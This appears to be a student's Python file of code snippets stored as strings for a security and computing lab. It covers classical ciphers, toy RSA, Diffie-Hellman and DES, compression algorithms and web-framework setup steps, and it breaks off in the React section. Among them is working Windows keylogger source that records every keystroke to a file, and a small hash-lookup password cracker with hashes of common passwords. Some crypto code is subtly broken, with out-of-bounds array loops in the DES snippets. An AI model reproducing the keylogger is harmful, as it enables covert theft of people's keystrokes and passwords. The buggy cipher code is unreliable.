ceaser_cipher = '''
    #include <iostream>
#include <string>

using namespace std;

string encryptCeaserCipher(string message, int shift)
{
    string encryptedMessage;
    for (int i = 0; i < message.length(); i++)
    {
        if (isalpha(message[i]))
        {
            char base = isupper(message[i]) ? 'A' : 'a';
            encryptedMessage += char((message[i] - base + shift) % 26 + base);
        }
        else
        {
            encryptedMessage += message[i];
        }
    }
    return encryptedMessage;
}

string decryptCeaserCipher(string encryptedMessage, int shift)
{
    string decryptedMessage;
    for (int i = 0; i < encryptedMessage.length(); i++)
    {
        if (isalpha(encryptedMessage[i]))
        {
            char base = isupper(encryptedMessage[i]) ? 'A' : 'a';
            decryptedMessage += char((encryptedMessage[i] - base - shift + 26) % 26 + base);
        }
        else
        {
            decryptedMessage += encryptedMessage[i];
        }
    }
    return decryptedMessage;
}

int main()
{
    string message;
    int shift;

    cout << "Enter Message: ";
    getline(cin, message);

    cout << "Enter Shift: ";
    cin >> shift;

    string encrypted = encryptCeaserCipher(message, shift);
    string decrypted = decryptCeaserCipher(encrypted, shift);

    cout << "Ceaser Cipher Encrypted: " << encrypted << endl;
    cout << "Ceaser Cipher Decrypted: " << decrypted << endl;

    return 0;
}

'''

polyalphabetic_cipher = '''
#include <iostream>
#include <string>

using namespace std;

string encryptVigenereCipher(string text, string keyword)
{
    string result = "";
    int keywordLength = keyword.length();

    for (int i = 0; i < text.length(); ++i)
    {
        char textChar = text[i];
        char keyChar = keyword[i % keywordLength];

        if (isalpha(textChar))
        {
            char base = isupper(textChar) ? 'A' : 'a';
            char offset = ((textChar - base) + (keyChar - base) + 26) % 26;
            char resultChar = offset + base;
            result += resultChar;
        }
        else
        {
            result += textChar;
        }
    }

    return result;
}

string decryptVigenereCipher(string text, string keyword)
{
    string result = "";
    int keywordLength = keyword.length();

    for (int i = 0; i < text.length(); ++i)
    {
        char textChar = text[i];
        char keyChar = keyword[i % keywordLength];

        if (isalpha(textChar))
        {
            char base = isupper(textChar) ? 'A' : 'a';
            char offset = ((textChar - base) - (keyChar - base) + 26) % 26;
            char resultChar = offset + base;
            result += resultChar;
        }
        else
        {
            result += textChar;
        }
    }

    return result;
}

int main()
{
    string text, keyword;

    cout << "Enter Text: ";
    getline(cin, text);

    cout << "Enter Keyword: ";
    cin >> keyword;

    string encrypted = encryptVigenereCipher(text, keyword);
    string decrypted = decryptVigenereCipher(encrypted, keyword);

    cout << "Vigenere Cipher Encrypted: " << encrypted << endl;
    cout << "Vigenere Cipher Decrypted: " << decrypted << endl;

    return 0;
}


'''

row_column_transposition = '''
#include <iostream>
#include <string>
#include <cmath>

using namespace std;

string encryptRowColumnTransposition(string message, int numRows, int numColumns)
{
    string result;
    int messageLength = message.length();
    int matrixSize = numRows * numColumns;
    int numBlocks = ceil(static_cast<double>(messageLength) / matrixSize);

    for (int block = 0; block < numBlocks; ++block)
    {
        for (int col = 0; col < numColumns; ++col)
        {
            for (int row = 0; row < numRows; ++row)
            {
                int index = block * matrixSize + row * numColumns + col;
                if (index < messageLength)
                {
                    result += message[index];
                }
                else
                {
                    result += ' ';
                }
            }
        }
    }

    return result;
}

string decryptRowColumnTransposition(string encryptedMessage, int numRows, int numColumns)
{
    string result;
    int messageLength = encryptedMessage.length();
    int matrixSize = numRows * numColumns;
    int numBlocks = ceil(static_cast<double>(messageLength) / matrixSize);

    for (int block = 0; block < numBlocks; ++block)
    {
        for (int row = 0; row < numRows; ++row)
        {
            for (int col = 0; col < numColumns; ++col)
            {
                int index = block * matrixSize + col * numRows + row;
                if (index < messageLength)
                {
                    result += encryptedMessage[index];
                }
                else
                {
                    result += ' ';
                }
            }
        }
    }

    return result;
}

int main()
{
    string message;
    int numRows, numColumns;

    cout << "Enter Message: ";
    getline(cin, message);

    cout << "Enter number of rows: ";
    cin >> numRows;

    cout << "Enter number of columns: ";
    cin >> numColumns;

    string encrypted = encryptRowColumnTransposition(message, numRows, numColumns);
    string decrypted = decryptRowColumnTransposition(encrypted, numRows, numColumns);

    cout << "Row-Column Transposition Encrypted: " << encrypted << endl;
    cout << "Row-Column Transposition Decrypted: " << decrypted << endl;

    return 0;
}

'''

diffie_hellman = '''
#include <iostream>
#include <cmath>

using namespace std;

bool isPrime(int num)
{
    if (num <= 1)
    {
        return false;
    }
    for (int i = 2; i * i <= num; ++i)
    {
        if (num % i == 0)
        {
            return false;
        }
    }
    return true;
}

int generateRandomPrime(int range)
{
    int randomNum = rand() % range + 1;

    while (!isPrime(randomNum))
    {
        randomNum = rand() % range + 1;
    }

    return randomNum;
}

int power(int base, int exponent, int mod)
{
    int result = 1;
    base = base % mod;

    while (exponent > 0)
    {
        if (exponent % 2 == 1)
        {
            result = (result * base) % mod;
        }

        exponent = exponent >> 1;
        base = (base * base) % mod;
    }

    return result;
}

int main()
{
    srand(time(0));

    int p = generateRandomPrime(100);
    int g = rand() % 100 + 1;

    int a, b;
    cout << "Enter private key of A: ";
    cin >> a;

    cout << "Enter private key of B: ";
    cin >> b;

    int ga = power(g, a, p);
    int gb = power(g, b, p);

    cout << "p = " << p << endl;
    cout << "g = " << g << endl;
    cout << "ga = " << ga << endl;
    cout << "gb = " << gb << endl;

    int gab = power(ga, b, p);
    int gba = power(gb, a, p);

    cout << "gab = " << gab << endl;
    cout << "gba = " << gba << endl;

    return 0;
}

'''

rsa = '''
#include <iostream>
#include <cmath>
using namespace std;

// Function to check if a number is prime or not
bool isPrime(int n) {
   if (n <= 1) {
       return false;
   }
   for (int i = 2; i <= sqrt(n); i++) {
       if (n % i == 0) {
           return false;
       }
   }
   return true;
}

// Function to find GCD of two numbers
int gcd(int a, int b) {
   if (b == 0) {
       return a;
   }
   return gcd(b, a % b);
}

// Function to perform modular exponentiation
int modPow(int base, int exponent, int modulus) {
   int result = 1;
   base = base % modulus;
   while (exponent > 0) {
       if (exponent % 2 == 1) {
           result = (result * base) % modulus;
       }
       base = (base * base) % modulus;
       exponent = exponent / 2;
   }
   return result;
}

int main() {
   // Step 1: Choose two prime numbers
   int p = 17, q = 11;

   // Step 2: Compute n and phi
   int n = p * q;
   int phi = (p - 1) * (q - 1);

   // Step 3: Choose an integer e such that 1 < e < phi and gcd(e, phi) = 1
   int e = 2;
   while (e < phi) {
       if (gcd(e, phi) == 1) {
           break;
       }
       e++;
   }

   // Step 4: Compute the secret key d
   int d = 1;
   while ((d * e) % phi != 1) {
       d++;
   }

   // Step 5: Print the public and private keys
   cout << "Public key: {" << e << ", " << n << "}" << endl;
   cout << "Private key: {" << d << ", " << n << "}" << endl;

   // Step 6: Encrypt the message
   string message = "hello";
   int encrypted[message.length()];
   for (int i = 0; i < message.length(); i++) {
       int m = message[i];
       int c = modPow(m, e, n);
       encrypted[i] = c;
   }

   // Step 7: Decrypt the message
   string decrypted;
   for (int i = 0; i < message.length(); i++) {
       int c = encrypted[i];
       int m = modPow(c, d, n);
       decrypted += static_cast<char>(m);
   }

   // Step 8: Print the encrypted and decrypted messages
   cout << "Encrypted message: ";
   for (int i = 0; i < message.length(); i++) {
       cout << encrypted[i] << " ";
   }
   cout << endl;
   cout << "Decrypted message: " << decrypted << endl;

   return 0;
}
'''

des = '''

#include<iostream>
using namespace std;
int main()
{
    int i;
    int new_arr[64];
    int ip[64]={58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,
    62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,
    57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,
    61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7};
    int l_side[32],r_side[32];
    int input_block[64]={
        1, 2, 3, 4, 5, 6, 7,
        8, 9, 10, 11, 12, 13, 14,15,
        16, 17, 18, 19, 20, 21, 22, 23,
        24, 25, 26, 27, 28, 29, 30,31,
        32, 33, 34, 35, 36, 37, 38, 39,
        40, 41, 42, 43,44, 45, 46, 47,
        48, 49, 50, 51, 52, 53, 54, 55,
        56, 57, 58, 59,60, 61, 62,63, 64
    };
    for(i=0;i<=64;i++)
    {
        int temp=ip[i]-1;
        new_arr[i]=input_block[temp];
    }
int c=0;
    for(i=0;i<64;i++){
        cout<<new_arr[i]<<",";
        c++;
        if(c==8)
        {
            cout<<endl;
            c=0;
        }
    }
for(i=0;i<32;i++){
        l_side[i]=ip[i];
        r_side[i]=ip[i+32];
    }
    cout<<"left part:"<<endl;
    for(i=0;i<32;i++)
    {
        cout<<l_side[i];
    }
    cout<<endl;
    cout<<"right part:"<<endl;
    for(i=0;i<32;i++)
    {
        cout<<r_side[i];
    }
    cout<<endl;
      int key[64]={
64, 63, 62, 61, 60, 59, 58, 57,
56, 55, 54, 53, 52, 51, 50, 49,
48, 47, 46, 45, 44, 43, 42, 41,
40, 39, 38, 37, 36, 35, 34, 33,
32, 31, 30, 29, 28, 27, 26, 25,
24, 23, 22, 21, 20, 19, 18, 17,
16, 15, 14, 13 ,12, 11, 10, 9,
8,  7,   6,  5,  4,  3,  2, 1
};
int array_56_bit[56],c1=0;
        for(int i=1;i<=64;i++)
        {
            if(i%8==0){
                continue;
            }
            else{
            array_56_bit[c1++]=key[i]+1;
            }
        }
        for(int i=0;i<56;i++)
        {
            cout<<array_56_bit[i]<<" ,";
        }
        int lkey[28],rkey[28];
        for(i=0;i<28;i++)
        {
            lkey[i]=array_56_bit[i];
            rkey[i]=array_56_bit[i+28];
        }
        cout<<endl;
        cout<<"left key"<<endl;
        for(i=0;i<28;i++)
        {
            cout<<lkey[i];
        }
        cout<<endl;
        cout<<"right key"<<endl;
        for(i=0;i<28;i++)
        {
            cout<<rkey[i];
        }
        int templ,tempr;
        templ=lkey[0];
        tempr=rkey[0];
        for(int i=1;i<28;i++)
        {
            lkey[i-1]=lkey[i];
            rkey[i-1]=rkey[i];
        }
        lkey[27]=templ;
        rkey[27]=tempr;
        cout<<endl;
        cout<<"left key"<<endl;
        for(i=0;i<28;i++)
        {
            cout<<lkey[i];
        }
        cout<<endl;
        cout<<"rkey"<<endl;
        for(i=0;i<28;i++)
        {
            cout<<rkey[i];
        }
        cout<<endl;
        cout<<"ConcATE:";
        int concatened_arr[56];
        for(i=0;i<28;i++)
        {
            concatened_arr[i]=lkey[i];
            concatened_arr[i+28]=rkey[i];
        }
        for(i=0;i<56;i++)
        {
            cout<<concatened_arr[i];
        }


}
'''

full_des = '''

#include <iostream>
#include <string>
#include <bitset>
using namespace std;

int main()
{
    int i;
    int new_arr[64];
    int ip[64] = {58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4,
                  62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8,
                  57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
                  61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7};
    int l_side[32], r_side[32];
    int input_block[64] = {1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0,
                           1, 0, 1, 0, 1, 0, 1, 0};

    for (i = 0; i < 64; i++)
    {
        int temp = ip[i] - 1;
        new_arr[i] = input_block[temp];
    }

    int c = 0;
    for (i = 0; i < 64; i++)
    {
        cout << new_arr[i] << ",";
        c++;
        if (c == 8)
        {
            cout << endl;
            c = 0;
        }
    }

    for (i = 0; i < 32; i++)
    {
        l_side[i] = new_arr[i];
        r_side[i] = new_arr[i + 32];
    }

    cout << "left part:" << endl;
    for (i = 0; i < 32; i++)
    {
        cout << l_side[i] << " ,";
    }
    cout << endl;
    cout << "New Left Part" << endl;

    cout << "right part:" << endl;
    for (i = 0; i < 32; i++)
    {
        cout << r_side[i] << " ,";
    }
    cout << endl;

    int key[64] = {
        0, 1, 1, 0, 1, 0, 0, 1,
        1, 0, 0, 1, 1, 1, 0, 0,
        0, 1, 0, 1, 1, 0, 1, 0,
        1, 0, 1, 0, 0, 0, 1, 1,
        1, 0, 1, 0, 0, 1, 1, 0,
        0, 0, 1, 1, 1, 0, 1, 0,
        0, 1, 0, 1, 1, 1, 0, 0,
        1, 0, 1, 0, 0, 1, 0, 1};

    int array_56_bit[56], c1 = 0;
    for (int i = 0; i < 64; i++)
    {
        if ((i + 1) % 8 == 0)
        {
            continue;
        }
        else
        {
            array_56_bit[c1++] = key[i];
        }
    }

    cout << "Array after removing 8th positions:" << endl;
    for (i = 0; i < 56; i++)
    {
        cout << array_56_bit[i] << " ,";
    }
    cout << endl;

    int lkey[28], rkey[28];
    for (i = 0; i < 28; i++)
    {
        lkey[i] = array_56_bit[i];
        rkey[i] = array_56_bit[i + 28];
    }

    cout << "left key" << endl;
    for (i = 0; i < 28; i++)
    {
        cout << lkey[i] << " ";
    }
    cout << endl;

    cout << "right key" << endl;
    for (i = 0; i < 28; i++)
    {
        cout << rkey[i] << " ";
    }
    cout << endl;

    int templ = lkey[0];
    int tempr = rkey[0];
    for (int i = 1; i < 28; i++)
    {
        lkey[i - 1] = lkey[i];
        rkey[i - 1] = rkey[i];
    }
    lkey[27] = templ;
    rkey[27] = tempr;

    cout << "Left key after rotation" << endl;
    for (i = 0; i < 28; i++)
    {
        cout << lkey[i] << " ";
    }
    cout << endl;

    cout << "Right key after rotation" << endl;
    for (i = 0; i < 28; i++)
    {
        cout << rkey[i] << " ";
    }
    cout << endl;

    cout << "Concatenated Array:" << endl;
    int concatened_arr[56];
    for (i = 0; i < 28; i++)
    {
        concatened_arr[i] = lkey[i];
        concatened_arr[i + 28] = rkey[i];
    }
    for (i = 0; i < 56; i++)
    {
        cout << concatened_arr[i] << " ";
    }
    cout << endl;

    int compression_key_table[48] = {
        14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10,
        23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2,
        41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48,
        44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32};

    int compressed_key_array[48];
    for (i = 0; i < 48; i++)
    {
        int temp3 = compression_key_table[i];
        compressed_key_array[i] = concatened_arr[temp3 - 1];
    }

    cout << "After Compression from 56 to 48:" << endl;
    for (i = 0; i < 48; i++)
    {
        cout << compressed_key_array[i] << " ";
    }
    cout << endl;

    int exp_d[48] = {32, 1, 2, 3, 4, 5, 4, 5,
                     6, 7, 8, 9, 8, 9, 10, 11,
                     12, 13, 12, 13, 14, 15, 16, 17,
                     16, 17, 18, 19, 20, 21, 20, 21,
                     22, 23, 24, 25, 24, 25, 26, 27,
                     28, 29, 28, 29, 30, 31, 32, 1};

    int new_right[48];
    for (i = 0; i < 48; i++)
    {
        new_right[i] = r_side[exp_d[i] - 1];
    }

    cout << "After Expansion from 32 to 48 of right part:" << endl;
    for (i = 0; i < 48; i++)
    {
        cout << new_right[i] << " ,";
    }
    cout << endl;

    // XOR operation between new_right and compressed_key_array
    int xor_result[48];
    for (i = 0; i < 48; i++)
    {
        xor_result[i] = new_right[i] ^ compressed_key_array[i];
    }

    cout << "XOR Result of new_right and compressed_key_array:" << endl;
    for (i = 0; i < 48; i++)
    {
        cout << xor_result[i] << " ,";
    }
    cout << endl;

    int sbox1[4][16] = {
        14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
        0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
        4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
        15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13};
    int sbox2[4][16] = {
        15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
        3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
        0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
        13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9};

    int sbox3[4][16] = {
        10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
        13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
        13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
        1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12};

    int sbox4[4][16] = {
        7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
        13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
        10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
        3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14};

    int sbox5[4][16] = {
        2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
        14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
        4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
        11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3};

    int sbox6[4][16] = {
        12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
        10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
        9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
        4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13};

    int sbox7[4][16] = {
        4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
        13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
        1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
        6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12};

    int sbox8[4][16] = {
        13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
        1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
        7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
        2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11

    };
    int function_op[32];
    int b0, b1, b2, b3, b4, b5;
    int row = 0, column = 0;
    int sbox_result[32];
    int sbox_count = 0;
    int new_val = 0;
    for (int i = 0; i < 48; i += 6)
    {
        b0 = xor_result[i];
        b1 = xor_result[i + 1];
        b2 = xor_result[i + 2];
        b3 = xor_result[i + 3];
        b4 = xor_result[i + 4];
        b5 = xor_result[i + 5];
        if (b0 == 0 && b5 == 0)
        {
            row = 0;
        }
        else if (b0 == 0 && b5 == 1)
        {
            row = 1;
        }
        else if (b0 == 1 && b5 == 0)
        {
            row = 2;
        }
        else if (b0 == 1 && b5 == 1)
        {
            row = 3;
        }
        string column = to_string(b1) + to_string(b2) + to_string(b3) + to_string(b4);
        cout << column;

        cout << endl;

        string binaryString = column;
        bitset<32> bitset(binaryString);
        unsigned long long intValue = bitset.to_ullong();

        cout << "Binary string: " << binaryString << endl;
        cout << "Integer value: " << intValue << endl;

        if (i == 0)
        {
            new_val = sbox1[row][intValue];
        }
        else if (i == 6)
        {
            new_val = sbox2[row][intValue];
        }
        else if (i == 12)
        {
            new_val = sbox3[row][intValue];
        }
        else if (i == 18)
        {
            new_val = sbox4[row][intValue];
        }
        else if (i == 24)
        {
            new_val = sbox5[row][intValue];
        }
        else if (i == 30)
        {
            new_val = sbox6[row][intValue];
        }
        else if (i == 36)
        {
            new_val = sbox7[row][intValue];
        }
        else
        {
            new_val = sbox8[row][intValue];
        }
        std::bitset<4> binary(new_val);
        std::cout << "Binary representation of " << new_val << " is " << binary << std::endl;
        cout << endl;

        for (size_t k = binary.size(); k-- > 0;)
        {
            sbox_result[sbox_count] = binary[k];
            sbox_count++;
        }
    }
    for (int i = 0; i < 32; i++)
    {
        cout << sbox_result[i] << " ,";
    }
    cout << endl;

    int perm_final[32] = {
        16, 7, 20, 21, 29, 12, 28, 17,
        1, 15, 23, 26, 5, 18, 31, 10,
        2, 8, 24, 14, 32, 27, 3, 9,
        19, 13, 30, 6, 22, 11, 4, 25};

    int temp96 = 0;
    int new_right_final[32];
    int first_val = perm_final[0];
    for (int j = 1; j <= 32; j++)
    {
        temp96 = perm_final[j];
        new_right_final[j] = sbox_result[temp96 - 1];
    }
    cout << "After Permutation of right side\n";
    for (int j = 0; j < 32; j++)
    {
        cout << new_right_final[j] << " ,";
    }
    int new_right_final2[32];
    for (i = 0; i < 32; i++)
    {
        new_right_final2[i] = l_side[i] ^ new_right_final[i];
    }
    cout << "\nAfter X-OR with og left part\n";
    for (int j = 0; j < 32; j++)
    {
        cout << new_right_final2[j] << " ,";
    }
    for (i = 0; i < 32; i++)
    {
        l_side[i] = r_side[i];
    }

    cout << "\nGUYSSSSS ROUND 1 COMPLETED BY ARJ";
    cout << "\nL1 VALUE: ";
    for (i = 0; i < 32; i++)
    {
        cout << l_side[i] << " ,";
    }
    cout << "\nR1 VALUE: ";
    for (i = 0; i < 32; i++)
    {
        cout << new_right_final2[i] << " ,";
    }
}

'''

keylogger = '''
#include <iostream>
#include <fstream>
#include <windows.h>
#include <winuser.h>
using namespace std;

void logKeystrokes() {
    char key;
    for (;;) {
        for (key = 8; key <= 190; ++key) {
            if (GetAsyncKeyState(key) == -32767) {
                ofstream outFile("keylog.txt", ios::app);
                if (outFile) {
                    outFile << key;
                    outFile.close();
                }
            }
        }
    }
}

int main() {
    logKeystrokes();
    return 0;
}



'''

rainbow_table = ''' 
#include <iostream>
#include <fstream>
#include <string>
using namespace std;

void searchHash(const string& fileName, const string& passHash) {
    ifstream inFile(fileName);
    if (!inFile) {
        cerr << "Unable to open file";
        return;
    }

    string line;
    while (getline(inFile, line)) {
        size_t pos = line.find(passHash);
        if (pos != string::npos) {
            cout << "Password found:" << endl;
            cout << line << endl;
            inFile.close();
            return;
        }
    }

    cout << "Password not found." << endl;
    inFile.close();
}

int main() {
    string fileName = "rainbow.txt";
    string passHash;

    cout << "Enter the password hash: ";
    cin >> passHash;

    searchHash(fileName, passHash);

    cout << "Press Enter to exit";
    cin.ignore();
    cin.get();
    return 0;
}


MD5:dc06698f0e2e75751545455899adccc3:pass@123
SHA1:ba97b1cf397425a852d1316d10787b1d97b5bc85:pass@123
SHA256:d97086919b6522e13ba9b46c04902c38372102218a4b3ef2f45ac2a80e9fd240:pass@123

MD5:5f4dcc3b5aa765d61d8327deb882cf99:password
SHA1:5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8:password
SHA256:5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8:password

MD5:d8578edf8458ce06fbc5bb76a58c5ca4:qwerty
SHA1:b1b3773a05c0ed0176787a4f1574ff0075f7521e:qwerty
SHA256:65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5:qwerty

MD5:6119442a08276dbb22e918c3d85c1c6e:incorrect
SHA1:6c03ac0ea7241c3b2e2b7d54ff1db5f5539dc198:incorrect
SHA256:203d3536bd62ad33ac70b7ea3d4f5e10b6d52ebd0cb7582841a053aebb7186a3:incorrect
'''

entropy='''
import math

str=input("Enter a string : ")
strlen=len(str)
dic_value={i:str.count(i) for i in str}
print(dic_value)
entropy=0
for i in dic_value:
	value=dic_value[i]/strlen
	print("Probability of ",i," : ",value)
	entropy+=value*math.log(value,2)

print("Entropy Value",entropy*-1)
'''

arithmetic_Encoding='''
# dic={'a':0.4,'g':0.2,'s':0.25,'t':0.1,'e':0.05}
# dicnumalpha={0:'a',1:'g',2:'s',3:'t',4:'e'}
# dicnumprob={0:0.4,1:0.2,2:0.25,3:0.1,4:0.05}
# dic={'p': 0.4, 's': 0.25, 'o': 0.2, 't': 0.15}
# dicnumalpha={0:'p',1:'s',2:'o',3:'t'}
# dicnumprob={0:0.4,1:0.25,2:0.2,3:0.15}
dic={}
dicnumalpha={}
dicnumprob={}
n=int(input("Enter Number of Characters : "))
for i in range(n):
    char=input("Enter the Character : ")
    prob=float(input("Enter The probability of Character : "))
    dic[char]=prob
    dicnumalpha[i]=char
    dicnumprob[i]=prob
print(dic)
gc={}
valuation={}
val=0
mul_list=[]
for k,v in dic.items():
    mul_list.append(v)
    val=val+v
    gc[k]=val
str=input("Enter a string : ")
def list_multiply(temp_mul,mul_list):
    l1=[item * temp_mul for item in mul_list]
    mul_list=l1
    return mul_list
def getIndexFromAlpha(temp_alpha):
    for i in range(len(dicnumalpha)):
        if dicnumalpha[i]==temp_alpha:
            return i
def getProbFromIndex(index):
    for i in range(len(dicnumprob)):
        if i==index:
            if i-1==-1:
                return 0
            else:
                return dicnumprob[i-1]
def recreate_gc(start_index,lis):
    gcval=start_index
    for i in range(len(lis)):
        valuation[dicnumalpha[i]]=[{"MIN":gcval,"MAX":gcval+lis[i]}]
        gcval+=lis[i]
        gc[dicnumalpha[i]]=gcval
    for k,v in valuation.items():
        print(k,v)
    return gc
def reset_dicnumprob(dic):
    d1={}
    i=0
    for k,v in dic.items():
        d1[i]=v
        i+=1
    return d1
temp_mul=1 
for i in range(len(str)-1):
    temp_alpha=str[i]
    temp_mul*=dic[temp_alpha]
    lis=list_multiply(temp_mul,mul_list)
    start_index=getProbFromIndex(getIndexFromAlpha(temp_alpha))
    print("\\nFor iteration",i," and character ",temp_alpha)
    recreate_gc(start_index,lis)
    dicnumprob=reset_dicnumprob(gc)
print("\\nArithmetic Encoding of word ",str,"is : ",valuation[str[len(str)-1]])
'''

huffman='''
dic={'a': 35, 'b': 20, 'c': 10, 'd': 16, 'e': 8, 'f': 11}
nums_list=[35, 20, 10, 16, 8, 11]
n=len(nums_list)

def sort(nums_list):
    return sorted(nums_list)

def add_first_two(nums_list):
    sum=nums_list[0]+nums_list[1]
    nums_list=nums_list[2:]
    nums_list.append(sum)
    # print(nums_list)
    return nums_list
    
for i in range(n-1):
    nums_list=sort(nums_list)
    print("**",nums_list)
    nums_list=add_first_two(nums_list)
'''

rle='''
l1=[]
s=input("Enter String : ")
n = len(s)
i = 0
while i < n- 1:
    count = 1
    while (i < n - 1 and
        s[i] == s[i + 1]):
        count += 1
        i += 1
    i += 1
    l1.append(str(count))
    l1.append(s[i-1])

res=""
for i in l1:
    res+=i
    
print(res)
'''

lzw='''
s=input("Enter String : ")
keys_dict = {}

ind = 0
inc = 1
while True:
    if not (len(s) >= ind+inc):
        break
    sub_str = s[ind:ind + inc]
    print(sub_str,ind,inc)
    if sub_str in keys_dict:
        inc += 1
    else:
        keys_dict[sub_str] = 0
        ind += inc
        inc = 1
        # print 'Adding %s' %sub_str

print(list(keys_dict))
'''

Docker_Hello_World = '''
1. Create a Directory for Your Flask App:

Open your terminal and create a new directory for the app:

mkdir flask-hello-world
cd flask-hello-world

2. Create the app.py File and save in hello-world directory:

from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello, World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

3. Create the requirements.txt File and save in hello-world directory:

Flask==2.0.1

4. Create the Dockerfile:

# Use an official Python runtime as a base image
FROM python:3.9-slim

# Set the working directory in the container
WORKDIR /app

# Copy the current directory contents into the container at /app
COPY . .

# Install the required Python packages
RUN pip install --no-cache-dir -r requirements.txt

# Expose port 5000 (Flask runs on this port by default)
EXPOSE 5000

# Command to run the Flask app
CMD ["python", "app.py"]

5. Build the Docker Image:

Open Command Prompt and navigate to the project folder:

cd path\to\your\flask-hello-world

6. Then run the following command to build the Docker image:

docker build -t flask-hello-world .

7. Run the Docker Container:

Run the container and map port 5000 to your local machine:

docker run -p 5000:5000 flask-hello-world

8. Access the App:

Open your browser and go to:

http://localhost:5000

'''

Node_Hello_World = '''
1. Create a Project Directory
Open your terminal and create a new directory for your Node.js project:


mkdir hello-world-node
cd hello-world-node

2. Initialize a New Node.js Project
Run the following command to create a package.json file:


npm init -y

3. Create the app.js File
Create a new JavaScript file named app.js in your project directory

4. Add to app.js

// app.js
const http = require('http'); // Import the http module

const hostname = '127.0.0.1'; // Define the hostname (localhost)
const port = 8080; // Define the port number

// Create the server
const server = http.createServer((req, res) => {
    res.statusCode = 200; // Set the response status code to 200 (OK)
    res.setHeader('Content-Type', 'text/plain'); // Set the response header
    res.end('Hello, World!\n'); // Send the response
});

// Start the server and listen on port 8080
server.listen(port, hostname, () => {
    console.log(`Server running at http://${hostname}:${port}/`); // Log server start message
});


OR


const express = require('express');
const path = require('path');

const app = express();
const port = 3000;

// Serve static files from the 'public' directory
app.use(express.static(path.join(__dirname, 'public')));

// Send 'index.html' when accessing the root URL
app.get('/', (req, res) => {
  res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.listen(port, () => {
  console.log('Server running at http://localhost:${port}/');  //3000
});

5.1. Open Your Terminal
Make sure you are in the directory where app.js is located.

5.2. Run the Server
Execute the following command in your terminal:

node app.js

6. Step 4: Access the Server
Open your web browser.
Go to http://127.0.0.1:8080/.

7. Make public folder and then make index.html and index.css files and link it


its dir look like this 
hello-world-node/
│
├── app.js
├── public/
│   ├── index.html
│   ├── style.css
│   └── script.js
├── package.json

'''
React_Hello = '''
React Js

1. Make a folder and type this: 

npx create-react-app hello-world

2. cd hello-world

3. npm start

4. modify app.js 
// src/App.js
import React from 'react';
